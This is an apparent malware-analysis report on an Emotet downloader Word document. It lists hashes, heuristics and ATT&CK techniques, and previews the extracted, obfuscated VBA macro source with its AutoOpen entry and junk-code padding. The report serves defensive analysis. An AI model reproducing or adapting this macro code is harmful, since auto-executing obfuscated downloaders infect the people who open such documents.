Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 15b76f000b9a6bdc…

MALICIOUS

Office (OLE)

244.5 KB Created: 2019-04-24 06:30:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 91276b58c79916607e8c8619d7a6ad21 SHA-1: e9895ea66a44768c9157e12b4b59784c35e8d7ad SHA-256: 15b76f000b9a6bdc9237b8b67e2c3e63b5bf72a09b746bdc531de99c14362fd1
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros, specifically an AutoOpen macro. The ClamAV detection and heuristic firings strongly indicate this is an Emotet downloader. The VBA code, though obfuscated, likely executes a second-stage payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6954531-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6954531-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22822 bytes
SHA-256: 7c6d6d27ba41157a6b6fe54aa6df828ad86c132278ce6332a83c940b8877ee08
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GUAxZo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rCQAkUA"
Attribute VB_Base = "0{0A5FB00E-D718-41CC-9F16-C8FEF46C3ACD}{61BC3D54-1463-4DFA-B77B-B2799E590BA5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "EABZoB"
Attribute VB_Base = "0{11FC309E-2A75-4B67-9F01-3E8C9F3E2515}{A7E125F1-6AFA-4095-8EDC-90FEA386D702}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "wDZUDUG"
Sub autoopen()
   If CB_CCB = FC4wxA Then
ElseIf BQwAACoU = dUkGDZx Then
            soAQAc = Atn(819075654)
ElseIf IwQAAUD4 = vDcQUZA4 Then
            skw_4Ac = Int(963430733)
ElseIf wZAAQx = mUA_wDG Then
End If
   If ZAoGDk = B_ABQcXQ Then
ElseIf B_AAQA = iDoAAAD Then
            nxAAAxo1 = Atn(828064624)
ElseIf pDQAA1 = WAZkcB_ Then
            tUwQCxAZ = Int(882581804)
ElseIf XAAUAQAB = zACAkA Then
End If
ZA1A1o
   If iADGAQAo = YAB_1Z Then
ElseIf dQoAxAAA = qAADACAZ Then
            IA1_QCX = Atn(56278449)
ElseIf iBCCQUxB = UBACAA Then
            I4BAxD = Int(814365295)
ElseIf VxAkwk = NUw4_CA Then
End If
   If HoA1Awoc = j4wAXXD Then
ElseIf wAA4U4 = mX1xAGAZ Then
            jQXBkkBA = Atn(658159943)
ElseIf jDAUU4 = OUGUQkAQ Then
            w1AZwUcC = Int(370010936)
ElseIf oACABk = fkDUQU Then
End If
   If k1QBAAcB = QAG1A_wD Then
ElseIf UAcACU = aQUZGG Then
            FQZAoGB = Atn(82985107)
ElseIf NCcAwB = PAADoA Then
            RkAABxkx = Int(371206787)
ElseIf H1AooQok = NBQ1AD Then
End If
End Sub

Attribute VB_Name = "iZDUADAo"
Function ZA1A1o()
On Error Resume Next
   If jUcwc_X = i1A4QAU Then
ElseIf ZcXAkA = FcBAc_BZ Then
            IcAcCADU = Atn(949354556)
ElseIf wAQcQ4U = NAxcDwA Then
            pBDG4AAA = Int(494392853)
ElseIf IAkC_Xw = KoA1AAw Then
End If
   If WAAAXXAA = Z_QwAA_Z Then
ElseIf Z1oQA1XC = M4BAA4 Then
            rQcDokA = Atn(947336719)
ElseIf JAUAQAA = lUAxADcA Then
            vAUDcAD = Int(789772380)
ElseIf nUG4GQw = DG11ADQA Then
End If
   If uc4BADoB = BkXQDA1 Then
ElseIf CDDBkA = bAUAZGD Then
            SQADAAA = Atn(74170508)
ElseIf qA_ADCA = qAZABAD Then
            CZ_DA4UQ = Int(882683139)
ElseIf WDZDcAA = jZ_UUUAB Then
End If
If 6831 < 10238 Then
IUxAxDZX = vbFalse
   If HDAA_xA = P4AZXA_ Then
ElseIf EZADQ14 = PCBwoA Then
            hCBAkC = Atn(510635420)
ElseIf jkAQxA = sQ4ABQ Then
            rAcxDA = Int(876982222)
ElseIf zQBDcB = RAZ4A1 Then
End If
   If MAADAXZG = GAkwUA Then
ElseIf TAAACXA = RGUkAcA1 Then
            AGQABAC = Atn(479776790)
ElseIf QCDAkAow = zU4XAcA Then
            OBAUA4 = Int(794516148)
ElseIf oxcUB4G = NcoDAkZ Then
End If
End If
   If dAkA4UB = hAABAwkc Then
ElseIf HAADAABU = bUkwDA Then
            jUCAA4w = Atn(679450840)
ElseIf IcA1A1 = qXCxAxB Then
            vAZwc4 = Int(518584356)
ElseIf ukQABZc = AGwBBAQ Then
End If
   If fZD_ACA = L1AXA_A Then
ElseIf oAADDwZG = KA4cUXUA Then
            R4DAQAA1 = Atn(121404134)
ElseIf EZ_DAAAU = nAc4k41B Then
            BZUBAAD = Int(585375453)
ElseIf KQGUDCA4 = IxABB1k_ Then
End If
   If EAAoACZ = RAUUxU1Q Then
ElseIf wDA1BAA = nAwUAZDZ Then
            pQxAUDw = Atn(750990392)
ElseIf mQBk1xD = iDBBBw Then
            bAwGA1 = Int(233546605)
ElseIf wAQX4AcB = CDA4AAA_ Then
End If
S4AA1QUA = EABZoB.bXZoUABG + EABZoB.CAAAAAAB
   If UBXooo = KAA1AA Then
ElseIf ukDQQ_C = dDkUDZA_ Then
            V4_AAUD = Atn(505078683)
ElseIf jABAoAA = mC4_oAAC Then
            nAAZXwBA = Int(971430846)
ElseIf HCAA1A = bA_DUUQ Then
End I
... (truncated)

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